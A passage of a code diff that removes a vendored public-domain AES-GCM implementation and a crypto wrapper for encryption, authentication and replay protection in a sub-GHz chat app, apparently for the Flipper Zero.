uchar work_buf[16]; // XOR source built from provided IV if len != 16
|
|
||||||
const uchar* p; // general purpose array pointer
|
|
||||||
size_t use_len; // byte count to process, up to 16 bytes
|
|
||||||
size_t i; // local loop iterator
|
|
||||||
|
|
||||||
// since the context might be reused under the same key
|
|
||||||
// we zero the working buffers for this next new process
|
|
||||||
memset(ctx->y, 0x00, sizeof(ctx->y));
|
|
||||||
memset(ctx->buf, 0x00, sizeof(ctx->buf));
|
|
||||||
ctx->len = 0;
|
|
||||||
ctx->add_len = 0;
|
|
||||||
|
|
||||||
ctx->mode = mode; // set the GCM encryption/decryption mode
|
|
||||||
ctx->aes_ctx.mode = ENCRYPT; // GCM *always* runs AES in ENCRYPTION mode
|
|
||||||
|
|
||||||
if(iv_len == 12) { // GCM natively uses a 12-byte, 96-bit IV
|
|
||||||
memcpy(ctx->y, iv, iv_len); // copy the IV to the top of the 'y' buff
|
|
||||||
ctx->y[15] = 1; // start "counting" from 1 (not 0)
|
|
||||||
} else // if we don't have a 12-byte IV, we GHASH whatever we've been given
|
|
||||||
{
|
|
||||||
memset(work_buf, 0x00, 16); // clear the working buffer
|
|
||||||
PUT_UINT32_BE(iv_len * 8, work_buf, 12); // place the IV into buffer
|
|
||||||
|
|
||||||
p = iv;
|
|
||||||
while(iv_len > 0) {
|
|
||||||
use_len = (iv_len < 16) ? iv_len : 16;
|
|
||||||
for(i = 0; i < use_len; i++) ctx->y[i] ^= p[i];
|
|
||||||
gcm_mult(ctx, ctx->y, ctx->y);
|
|
||||||
iv_len -= use_len;
|
|
||||||
p += use_len;
|
|
||||||
}
|
|
||||||
for(i = 0; i < 16; i++) ctx->y[i] ^= work_buf[i];
|
|
||||||
gcm_mult(ctx, ctx->y, ctx->y);
|
|
||||||
}
|
|
||||||
if((ret = aes_cipher(&ctx->aes_ctx, ctx->y, ctx->base_ectr)) != 0) return (ret);
|
|
||||||
|
|
||||||
ctx->add_len = add_len;
|
|
||||||
p = add;
|
|
||||||
while(add_len > 0) {
|
|
||||||
use_len = (add_len < 16) ? add_len : 16;
|
|
||||||
for(i = 0; i < use_len; i++) ctx->buf[i] ^= p[i];
|
|
||||||
gcm_mult(ctx, ctx->buf, ctx->buf);
|
|
||||||
add_len -= use_len;
|
|
||||||
p += use_len;
|
|
||||||
}
|
|
||||||
return (0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_UPDATE
|
|
||||||
*
|
|
||||||
* This is called once or more to process bulk plaintext or ciphertext data.
|
|
||||||
* We give this some number of bytes of input and it returns the same number
|
|
||||||
* of output bytes. If called multiple times (which is fine) all but the final
|
|
||||||
* invocation MUST be called with length mod 16 == 0. (Only the final call can
|
|
||||||
* have a partial block length of < 128 bits.)
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_update(
|
|
||||||
gcm_context* ctx, // pointer to user-provided GCM context
|
|
||||||
size_t length, // length, in bytes, of data to process
|
|
||||||
const uchar* input, // pointer to source data
|
|
||||||
uchar* output) // pointer to destination data
|
|
||||||
{
|
|
||||||
int ret; // our error return if the AES encrypt fails
|
|
||||||
uchar ectr[16]; // counter-mode cipher output for XORing
|
|
||||||
size_t use_len; // byte count to process, up to 16 bytes
|
|
||||||
size_t i; // local loop iterator
|
|
||||||
|
|
||||||
ctx->len += length; // bump the GCM context's running length count
|
|
||||||
|
|
||||||
while(length > 0) {
|
|
||||||
// clamp the length to process at 16 bytes
|
|
||||||
use_len = (length < 16) ? length : 16;
|
|
||||||
|
|
||||||
// increment the context's 128-bit IV||Counter 'y' vector
|
|
||||||
for(i = 16; i > 12; i--)
|
|
||||||
if(++ctx->y[i - 1] != 0) break;
|
|
||||||
|
|
||||||
// encrypt the context's 'y' vector under the established key
|
|
||||||
if((ret = aes_cipher(&ctx->aes_ctx, ctx->y, ectr)) != 0) return (ret);
|
|
||||||
|
|
||||||
// encrypt or decrypt the input to the output
|
|
||||||
if(ctx->mode == ENCRYPT) {
|
|
||||||
for(i = 0; i < use_len; i++) {
|
|
||||||
// XOR the cipher's ouptut vector (ectr) with our input
|
|
||||||
output[i] = (uchar)(ectr[i] ^ input[i]);
|
|
||||||
// now we mix in our data into the authentication hash.
|
|
||||||
// if we're ENcrypting we XOR in the post-XOR (output)
|
|
||||||
// results, but if we're DEcrypting we XOR in the input
|
|
||||||
// data
|
|
||||||
ctx->buf[i] ^= output[i];
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
for(i = 0; i < use_len; i++) {
|
|
||||||
// but if we're DEcrypting we XOR in the input data first,
|
|
||||||
// i.e. before saving to ouput data, otherwise if the input
|
|
||||||
// and output buffer are the same (inplace decryption) we
|
|
||||||
// would not get the correct auth tag
|
|
||||||
|
|
||||||
ctx->buf[i] ^= input[i];
|
|
||||||
|
|
||||||
// XOR the cipher's ouptut vector (ectr) with our input
|
|
||||||
output[i] = (uchar)(ectr[i] ^ input[i]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
gcm_mult(ctx, ctx->buf, ctx->buf); // perform a GHASH operation
|
|
||||||
|
|
||||||
length -= use_len; // drop the remaining byte count to process
|
|
||||||
input += use_len; // bump our input pointer forward
|
|
||||||
output += use_len; // bump our output pointer forward
|
|
||||||
}
|
|
||||||
return (0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_FINISH
|
|
||||||
*
|
|
||||||
* This is called once after all calls to GCM_UPDATE to finalize the GCM.
|
|
||||||
* It performs the final GHASH to produce the resulting authentication TAG.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_finish(
|
|
||||||
gcm_context* ctx, // pointer to user-provided GCM context
|
|
||||||
uchar* tag, // pointer to buffer which receives the tag
|
|
||||||
size_t tag_len) // length, in bytes, of the tag-receiving buf
|
|
||||||
{
|
|
||||||
uchar work_buf[16];
|
|
||||||
uint64_t orig_len = ctx->len * 8;
|
|
||||||
uint64_t orig_add_len = ctx->add_len * 8;
|
|
||||||
size_t i;
|
|
||||||
|
|
||||||
if(tag_len != 0) memcpy(tag, ctx->base_ectr, tag_len);
|
|
||||||
|
|
||||||
if(orig_len || orig_add_len) {
|
|
||||||
memset(work_buf, 0x00, 16);
|
|
||||||
|
|
||||||
PUT_UINT32_BE((orig_add_len >> 32), work_buf, 0);
|
|
||||||
PUT_UINT32_BE((orig_add_len), work_buf, 4);
|
|
||||||
PUT_UINT32_BE((orig_len >> 32), work_buf, 8);
|
|
||||||
PUT_UINT32_BE((orig_len), work_buf, 12);
|
|
||||||
|
|
||||||
for(i = 0; i < 16; i++) ctx->buf[i] ^= work_buf[i];
|
|
||||||
gcm_mult(ctx, ctx->buf, ctx->buf);
|
|
||||||
for(i = 0; i < tag_len; i++) tag[i] ^= ctx->buf[i];
|
|
||||||
}
|
|
||||||
return (0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_CRYPT_AND_TAG
|
|
||||||
*
|
|
||||||
* This either encrypts or decrypts the user-provided data and, either
|
|
||||||
* way, generates an authentication tag of the requested length. It must be
|
|
||||||
* called with a GCM context whose key has already been set with GCM_SETKEY.
|
|
||||||
*
|
|
||||||
* The user would typically call this explicitly to ENCRYPT a buffer of data
|
|
||||||
* and optional associated data, and produce its an authentication tag.
|
|
||||||
*
|
|
||||||
* To reverse the process the user would typically call the companion
|
|
||||||
* GCM_AUTH_DECRYPT function to decrypt data and verify a user-provided
|
|
||||||
* authentication tag. The GCM_AUTH_DECRYPT function calls this function
|
|
||||||
* to perform its decryption and tag generation, which it then compares.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_crypt_and_tag(
|
|
||||||
gcm_context* ctx, // gcm context with key already setup
|
|
||||||
int mode, // cipher direction: GCM_ENCRYPT or GCM_DECRYPT
|
|
||||||
const uchar* iv, // pointer to the 12-byte initialization vector
|
|
||||||
size_t iv_len, // byte length if the IV. should always be 12
|
|
||||||
const uchar* add, // pointer to the non-ciphered additional data
|
|
||||||
size_t add_len, // byte length of the additional AEAD data
|
|
||||||
const uchar* input, // pointer to the cipher data source
|
|
||||||
uchar* output, // pointer to the cipher data destination
|
|
||||||
size_t length, // byte length of the cipher data
|
|
||||||
uchar* tag, // pointer to the tag to be generated
|
|
||||||
size_t tag_len) // byte length of the tag to be generated
|
|
||||||
{ /*
|
|
||||||
assuming that the caller has already invoked gcm_setkey to
|
|
||||||
prepare the gcm context with the keying material, we simply
|
|
||||||
invoke each of the three GCM sub-functions in turn...
|
|
||||||
*/
|
|
||||||
gcm_start(ctx, mode, iv, iv_len, add, add_len);
|
|
||||||
gcm_update(ctx, length, input, output);
|
|
||||||
gcm_finish(ctx, tag, tag_len);
|
|
||||||
return (0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_AUTH_DECRYPT
|
|
||||||
*
|
|
||||||
* This DECRYPTS a user-provided data buffer with optional associated data.
|
|
||||||
* It then verifies a user-supplied authentication tag against the tag just
|
|
||||||
* re-created during decryption to verify that the data has not been altered.
|
|
||||||
*
|
|
||||||
* This function calls GCM_CRYPT_AND_TAG (above) to perform the decryption
|
|
||||||
* and authentication tag generation.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_auth_decrypt(
|
|
||||||
gcm_context* ctx, // gcm context with key already setup
|
|
||||||
const uchar* iv, // pointer to the 12-byte initialization vector
|
|
||||||
size_t iv_len, // byte length if the IV. should always be 12
|
|
||||||
const uchar* add, // pointer to the non-ciphered additional data
|
|
||||||
size_t add_len, // byte length of the additional AEAD data
|
|
||||||
const uchar* input, // pointer to the cipher data source
|
|
||||||
uchar* output, // pointer to the cipher data destination
|
|
||||||
size_t length, // byte length of the cipher data
|
|
||||||
const uchar* tag, // pointer to the tag to be authenticated
|
|
||||||
size_t tag_len) // byte length of the tag <= 16
|
|
||||||
{
|
|
||||||
uchar check_tag[16]; // the tag generated and returned by decryption
|
|
||||||
int diff; // an ORed flag to detect authentication errors
|
|
||||||
size_t i; // our local iterator
|
|
||||||
/*
|
|
||||||
we use GCM_DECRYPT_AND_TAG (above) to perform our decryption
|
|
||||||
(which is an identical XORing to reverse the previous one)
|
|
||||||
and also to re-generate the matching authentication tag
|
|
||||||
*/
|
|
||||||
gcm_crypt_and_tag(
|
|
||||||
ctx, DECRYPT, iv, iv_len, add, add_len, input, output, length, check_tag, tag_len);
|
|
||||||
|
|
||||||
// now we verify the authentication tag in 'constant time'
|
|
||||||
for(diff = 0, i = 0; i < tag_len; i++) diff |= tag[i] ^ check_tag[i];
|
|
||||||
|
|
||||||
if(diff != 0) { // see whether any bits differed?
|
|
||||||
memset(output, 0, length); // if so... wipe the output data
|
|
||||||
return (GCM_AUTH_FAILURE); // return GCM_AUTH_FAILURE
|
|
||||||
}
|
|
||||||
return (0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_ZERO_CTX
|
|
||||||
*
|
|
||||||
* The GCM context contains both the GCM context and the AES context.
|
|
||||||
* This includes keying and key-related material which is security-
|
|
||||||
* sensitive, so it MUST be zeroed after use. This function does that.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
void gcm_zero_ctx(gcm_context* ctx) {
|
|
||||||
// zero the context originally provided to us
|
|
||||||
memset(ctx, 0, sizeof(gcm_context));
|
|
||||||
}
|
|
||||||
181
applications/external/esubghz_chat/crypto/gcm.h
vendored
@@ -1,181 +0,0 @@
|
|||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
|
|
||||||
*
|
|
||||||
* This is a simple and straightforward implementation of AES-GCM authenticated
|
|
||||||
* encryption. The focus of this work was correctness & accuracy. It is written
|
|
||||||
* in straight 'C' without any particular focus upon optimization or speed. It
|
|
||||||
* should be endian (memory byte order) neutral since the few places that care
|
|
||||||
* are handled explicitly.
|
|
||||||
*
|
|
||||||
* This implementation of AES-GCM was created by Steven M. Gibson of GRC.com.
|
|
||||||
*
|
|
||||||
* It is intended for general purpose use, but was written in support of GRC's
|
|
||||||
* reference implementation of the SQRL (Secure Quick Reliable Login) client.
|
|
||||||
*
|
|
||||||
* See: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
|
|
||||||
* http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/ \
|
|
||||||
* gcm/gcm-revised-spec.pdf
|
|
||||||
*
|
|
||||||
* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
|
|
||||||
* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
|
|
||||||
*
|
|
||||||
*******************************************************************************/
|
|
||||||
#ifndef GCM_HEADER
|
|
||||||
#define GCM_HEADER
|
|
||||||
|
|
||||||
#define GCM_AUTH_FAILURE 0x55555555 // authentication failure
|
|
||||||
|
|
||||||
#include "aes.h" // gcm_context includes aes_context
|
|
||||||
|
|
||||||
#if defined(_MSC_VER)
|
|
||||||
#include <basetsd.h>
|
|
||||||
typedef unsigned int size_t; // use the right type for length declarations
|
|
||||||
typedef UINT32 uint32_t;
|
|
||||||
typedef UINT64 uint64_t;
|
|
||||||
#else
|
|
||||||
#include <stdint.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
* GCM_CONTEXT : GCM context / holds keytables, instance data, and AES ctx
|
|
||||||
******************************************************************************/
|
|
||||||
typedef struct {
|
|
||||||
int mode; // cipher direction: encrypt/decrypt
|
|
||||||
uint64_t len; // cipher data length processed so far
|
|
||||||
uint64_t add_len; // total add data length
|
|
||||||
uint64_t HL[16]; // precalculated lo-half HTable
|
|
||||||
uint64_t HH[16]; // precalculated hi-half HTable
|
|
||||||
uchar base_ectr[16]; // first counter-mode cipher output for tag
|
|
||||||
uchar y[16]; // the current cipher-input IV|Counter value
|
|
||||||
uchar buf[16]; // buf working value
|
|
||||||
aes_context aes_ctx; // cipher context used
|
|
||||||
} gcm_context;
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
* GCM_CONTEXT : MUST be called once before ANY use of this library
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_initialize(void);
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
* GCM_SETKEY : sets the GCM (and AES) keying material for use
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_setkey(
|
|
||||||
gcm_context* ctx, // caller-provided context ptr
|
|
||||||
const uchar* key, // pointer to cipher key
|
|
||||||
const uint keysize // size in bytes (must be 16, 24, 32 for
|
|
||||||
// 128, 192 or 256-bit keys respectively)
|
|
||||||
); // returns 0 for success
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_CRYPT_AND_TAG
|
|
||||||
*
|
|
||||||
* This either encrypts or decrypts the user-provided data and, either
|
|
||||||
* way, generates an authentication tag of the requested length. It must be
|
|
||||||
* called with a GCM context whose key has already been set with GCM_SETKEY.
|
|
||||||
*
|
|
||||||
* The user would typically call this explicitly to ENCRYPT a buffer of data
|
|
||||||
* and optional associated data, and produce its an authentication tag.
|
|
||||||
*
|
|
||||||
* To reverse the process the user would typically call the companion
|
|
||||||
* GCM_AUTH_DECRYPT function to decrypt data and verify a user-provided
|
|
||||||
* authentication tag. The GCM_AUTH_DECRYPT function calls this function
|
|
||||||
* to perform its decryption and tag generation, which it then compares.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_crypt_and_tag(
|
|
||||||
gcm_context* ctx, // gcm context with key already setup
|
|
||||||
int mode, // cipher direction: ENCRYPT (1) or DECRYPT (0)
|
|
||||||
const uchar* iv, // pointer to the 12-byte initialization vector
|
|
||||||
size_t iv_len, // byte length if the IV. should always be 12
|
|
||||||
const uchar* add, // pointer to the non-ciphered additional data
|
|
||||||
size_t add_len, // byte length of the additional AEAD data
|
|
||||||
const uchar* input, // pointer to the cipher data source
|
|
||||||
uchar* output, // pointer to the cipher data destination
|
|
||||||
size_t length, // byte length of the cipher data
|
|
||||||
uchar* tag, // pointer to the tag to be generated
|
|
||||||
size_t tag_len); // byte length of the tag to be generated
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_AUTH_DECRYPT
|
|
||||||
*
|
|
||||||
* This DECRYPTS a user-provided data buffer with optional associated data.
|
|
||||||
* It then verifies a user-supplied authentication tag against the tag just
|
|
||||||
* re-created during decryption to verify that the data has not been altered.
|
|
||||||
*
|
|
||||||
* This function calls GCM_CRYPT_AND_TAG (above) to perform the decryption
|
|
||||||
* and authentication tag generation.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_auth_decrypt(
|
|
||||||
gcm_context* ctx, // gcm context with key already setup
|
|
||||||
const uchar* iv, // pointer to the 12-byte initialization vector
|
|
||||||
size_t iv_len, // byte length if the IV. should always be 12
|
|
||||||
const uchar* add, // pointer to the non-ciphered additional data
|
|
||||||
size_t add_len, // byte length of the additional AEAD data
|
|
||||||
const uchar* input, // pointer to the cipher data source
|
|
||||||
uchar* output, // pointer to the cipher data destination
|
|
||||||
size_t length, // byte length of the cipher data
|
|
||||||
const uchar* tag, // pointer to the tag to be authenticated
|
|
||||||
size_t tag_len); // byte length of the tag <= 16
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_START
|
|
||||||
*
|
|
||||||
* Given a user-provided GCM context, this initializes it, sets the encryption
|
|
||||||
* mode, and preprocesses the initialization vector and additional AEAD data.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_start(
|
|
||||||
gcm_context* ctx, // pointer to user-provided GCM context
|
|
||||||
int mode, // ENCRYPT (1) or DECRYPT (0)
|
|
||||||
const uchar* iv, // pointer to initialization vector
|
|
||||||
size_t iv_len, // IV length in bytes (should == 12)
|
|
||||||
const uchar* add, // pointer to additional AEAD data (NULL if none)
|
|
||||||
size_t add_len); // length of additional AEAD data (bytes)
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_UPDATE
|
|
||||||
*
|
|
||||||
* This is called once or more to process bulk plaintext or ciphertext data.
|
|
||||||
* We give this some number of bytes of input and it returns the same number
|
|
||||||
* of output bytes. If called multiple times (which is fine) all but the final
|
|
||||||
* invocation MUST be called with length mod 16 == 0. (Only the final call can
|
|
||||||
* have a partial block length of < 128 bits.)
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_update(
|
|
||||||
gcm_context* ctx, // pointer to user-provided GCM context
|
|
||||||
size_t length, // length, in bytes, of data to process
|
|
||||||
const uchar* input, // pointer to source data
|
|
||||||
uchar* output); // pointer to destination data
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_FINISH
|
|
||||||
*
|
|
||||||
* This is called once after all calls to GCM_UPDATE to finalize the GCM.
|
|
||||||
* It performs the final GHASH to produce the resulting authentication TAG.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
int gcm_finish(
|
|
||||||
gcm_context* ctx, // pointer to user-provided GCM context
|
|
||||||
uchar* tag, // ptr to tag buffer - NULL if tag_len = 0
|
|
||||||
size_t tag_len); // length, in bytes, of the tag-receiving buf
|
|
||||||
|
|
||||||
/******************************************************************************
|
|
||||||
*
|
|
||||||
* GCM_ZERO_CTX
|
|
||||||
*
|
|
||||||
* The GCM context contains both the GCM context and the AES context.
|
|
||||||
* This includes keying and key-related material which is security-
|
|
||||||
* sensitive, so it MUST be zeroed after use. This function does that.
|
|
||||||
*
|
|
||||||
******************************************************************************/
|
|
||||||
void gcm_zero_ctx(gcm_context* ctx);
|
|
||||||
|
|
||||||
#endif /* GCM_HEADER */
|
|
||||||
237
applications/external/esubghz_chat/crypto_wrapper.c
vendored
@@ -1,237 +0,0 @@
|
|||||||
#include <furi_hal.h>
|
|
||||||
#include <lib/mlib/m-dict.h>
|
|
||||||
#include <toolbox/sha256.h>
|
|
||||||
|
|
||||||
#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
|
||||||
#include "crypto/gcm.h"
|
|
||||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
|
||||||
|
|
||||||
#include "crypto_wrapper.h"
|
|
||||||
|
|
||||||
DICT_DEF2(ESubGhzChatReplayDict, uint64_t, uint32_t)
|
|
||||||
|
|
||||||
struct ESugGhzChatCryptoCtx {
|
|
||||||
uint8_t key[KEY_BITS / 8];
|
|
||||||
#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
|
||||||
gcm_context gcm_ctx;
|
|
||||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
|
||||||
ESubGhzChatReplayDict_t replay_dict;
|
|
||||||
uint64_t run_id;
|
|
||||||
uint32_t counter;
|
|
||||||
};
|
|
||||||
|
|
||||||
struct ESubGhzChatCryptoMsg {
|
|
||||||
uint64_t run_id;
|
|
||||||
uint32_t counter;
|
|
||||||
uint8_t iv[IV_BYTES];
|
|
||||||
uint8_t tag[TAG_BYTES];
|
|
||||||
uint8_t data[0];
|
|
||||||
} __attribute__((packed));
|
|
||||||
|
|
||||||
void crypto_init(void) {
|
|
||||||
#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
|
||||||
/* init the GCM and AES tables */
|
|
||||||
gcm_initialize();
|
|
||||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
|
||||||
}
|
|
||||||
|
|
||||||
void crypto_explicit_bzero(void* s, size_t len) {
|
|
||||||
memset(s, 0, len);
|
|
||||||
asm volatile("" ::: "memory");
|
|
||||||
}
|
|
||||||
|
|
||||||
ESubGhzChatCryptoCtx* crypto_ctx_alloc(void) {
|
|
||||||
ESubGhzChatCryptoCtx* ret = malloc(sizeof(ESubGhzChatCryptoCtx));
|
|
||||||
|
|
||||||
if(ret != NULL) {
|
|
||||||
memset(ret, 0, sizeof(ESubGhzChatCryptoCtx));
|
|
||||||
ESubGhzChatReplayDict_init(ret->replay_dict);
|
|
||||||
ret->run_id = 0;
|
|
||||||
ret->counter = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
void crypto_ctx_free(ESubGhzChatCryptoCtx* ctx) {
|
|
||||||
crypto_ctx_clear(ctx);
|
|
||||||
ESubGhzChatReplayDict_clear(ctx->replay_dict);
|
|
||||||
free(ctx);
|
|
||||||
}
|
|
||||||
|
|
||||||
void crypto_ctx_clear(ESubGhzChatCryptoCtx* ctx) {
|
|
||||||
crypto_explicit_bzero(ctx->key, sizeof(ctx->key));
|
|
||||||
#ifndef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
|
||||||
crypto_explicit_bzero(&(ctx->gcm_ctx), sizeof(ctx->gcm_ctx));
|
|
||||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
|
||||||
ESubGhzChatReplayDict_reset(ctx->replay_dict);
|
|
||||||
ctx->run_id = 0;
|
|
||||||
ctx->counter = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
static uint64_t crypto_calc_run_id(FuriString* flipper_name, uint32_t tick) {
|
|
||||||
const char* fn = furi_string_get_cstr(flipper_name);
|
|
||||||
size_t fn_len = strlen(fn);
|
|
||||||
|
|
||||||
uint8_t h_in[fn_len + sizeof(uint32_t)];
|
|
||||||
memcpy(h_in, fn, fn_len);
|
|
||||||
memcpy(h_in + fn_len, &tick, sizeof(uint32_t));
|
|
||||||
|
|
||||||
uint8_t h_out[256];
|
|
||||||
sha256(h_in, fn_len + sizeof(uint32_t), h_out);
|
|
||||||
|
|
||||||
uint64_t run_id;
|
|
||||||
memcpy(&run_id, h_out, sizeof(uint64_t));
|
|
||||||
|
|
||||||
return run_id;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool crypto_ctx_set_key(
|
|
||||||
ESubGhzChatCryptoCtx* ctx,
|
|
||||||
const uint8_t* key,
|
|
||||||
FuriString* flipper_name,
|
|
||||||
uint32_t tick) {
|
|
||||||
ctx->run_id = crypto_calc_run_id(flipper_name, tick);
|
|
||||||
ctx->counter = 1;
|
|
||||||
|
|
||||||
memcpy(ctx->key, key, KEY_BITS / 8);
|
|
||||||
#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
|
||||||
return true;
|
|
||||||
#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
|
||||||
return (gcm_setkey(&(ctx->gcm_ctx), key, KEY_BITS / 8) == 0);
|
|
||||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
|
||||||
}
|
|
||||||
|
|
||||||
void crypto_ctx_get_key(ESubGhzChatCryptoCtx* ctx, uint8_t* key) {
|
|
||||||
memcpy(key, ctx->key, KEY_BITS / 8);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool crypto_ctx_decrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out) {
|
|
||||||
if(in_len < MSG_OVERHEAD + 1) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
struct ESubGhzChatCryptoMsg* msg = (struct ESubGhzChatCryptoMsg*)in;
|
|
||||||
|
|
||||||
// check if message is stale, if yes, discard
|
|
||||||
uint32_t* counter = ESubGhzChatReplayDict_get(ctx->replay_dict, msg->run_id);
|
|
||||||
if(counter != NULL) {
|
|
||||||
if(*counter >= __ntohl(msg->counter)) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// decrypt and auth message
|
|
||||||
#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
|
||||||
bool ret =
|
|
||||||
(furi_hal_crypto_gcm_decrypt_and_verify(
|
|
||||||
ctx->key,
|
|
||||||
msg->iv,
|
|
||||||
(uint8_t*)msg,
|
|
||||||
RUN_ID_BYTES + COUNTER_BYTES,
|
|
||||||
msg->data,
|
|
||||||
out,
|
|
||||||
in_len - MSG_OVERHEAD,
|
|
||||||
msg->tag) == FuriHalCryptoGCMStateOk);
|
|
||||||
#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
|
||||||
bool ret =
|
|
||||||
(gcm_auth_decrypt(
|
|
||||||
&(ctx->gcm_ctx),
|
|
||||||
msg->iv,
|
|
||||||
IV_BYTES,
|
|
||||||
(uint8_t*)msg,
|
|
||||||
RUN_ID_BYTES + COUNTER_BYTES,
|
|
||||||
msg->data,
|
|
||||||
out,
|
|
||||||
in_len - MSG_OVERHEAD,
|
|
||||||
msg->tag,
|
|
||||||
TAG_BYTES) == 0);
|
|
||||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
|
||||||
|
|
||||||
// if auth was successful update replay dict
|
|
||||||
if(ret) {
|
|
||||||
ESubGhzChatReplayDict_set_at(ctx->replay_dict, msg->run_id, __ntohl(msg->counter));
|
|
||||||
}
|
|
||||||
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool crypto_ctx_encrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out) {
|
|
||||||
struct ESubGhzChatCryptoMsg* msg = (struct ESubGhzChatCryptoMsg*)out;
|
|
||||||
|
|
||||||
// fill message header
|
|
||||||
msg->run_id = ctx->run_id;
|
|
||||||
msg->counter = __htonl(ctx->counter);
|
|
||||||
furi_hal_random_fill_buf(msg->iv, IV_BYTES);
|
|
||||||
|
|
||||||
// encrypt message and store tag in header
|
|
||||||
#ifdef FURI_HAL_CRYPTO_ADVANCED_AVAIL
|
|
||||||
bool ret =
|
|
||||||
(furi_hal_crypto_gcm_encrypt_and_tag(
|
|
||||||
ctx->key,
|
|
||||||
msg->iv,
|
|
||||||
(uint8_t*)msg,
|
|
||||||
RUN_ID_BYTES + COUNTER_BYTES,
|
|
||||||
in,
|
|
||||||
msg->data,
|
|
||||||
in_len,
|
|
||||||
msg->tag) == FuriHalCryptoGCMStateOk);
|
|
||||||
#else /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
|
||||||
bool ret =
|
|
||||||
(gcm_crypt_and_tag(
|
|
||||||
&(ctx->gcm_ctx),
|
|
||||||
ENCRYPT,
|
|
||||||
msg->iv,
|
|
||||||
IV_BYTES,
|
|
||||||
(uint8_t*)msg,
|
|
||||||
RUN_ID_BYTES + COUNTER_BYTES,
|
|
||||||
in,
|
|
||||||
msg->data,
|
|
||||||
in_len,
|
|
||||||
msg->tag,
|
|
||||||
TAG_BYTES) == 0);
|
|
||||||
#endif /* FURI_HAL_CRYPTO_ADVANCED_AVAIL */
|
|
||||||
|
|
||||||
// update replay dict and increase internal counter
|
|
||||||
if(ret) {
|
|
||||||
ESubGhzChatReplayDict_set_at(ctx->replay_dict, ctx->run_id, ctx->counter);
|
|
||||||
ctx->counter++;
|
|
||||||
}
|
|
||||||
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
size_t crypto_ctx_dump_replay_dict(
|
|
||||||
ESubGhzChatCryptoCtx* ctx,
|
|
||||||
CryptoCtxReplayDictWriter writer,
|
|
||||||
void* writer_ctx) {
|
|
||||||
size_t ret = 0;
|
|
||||||
ESubGhzChatReplayDict_it_t i;
|
|
||||||
|
|
||||||
for(ESubGhzChatReplayDict_it(i, ctx->replay_dict); !ESubGhzChatReplayDict_end_p(i);
|
|
||||||
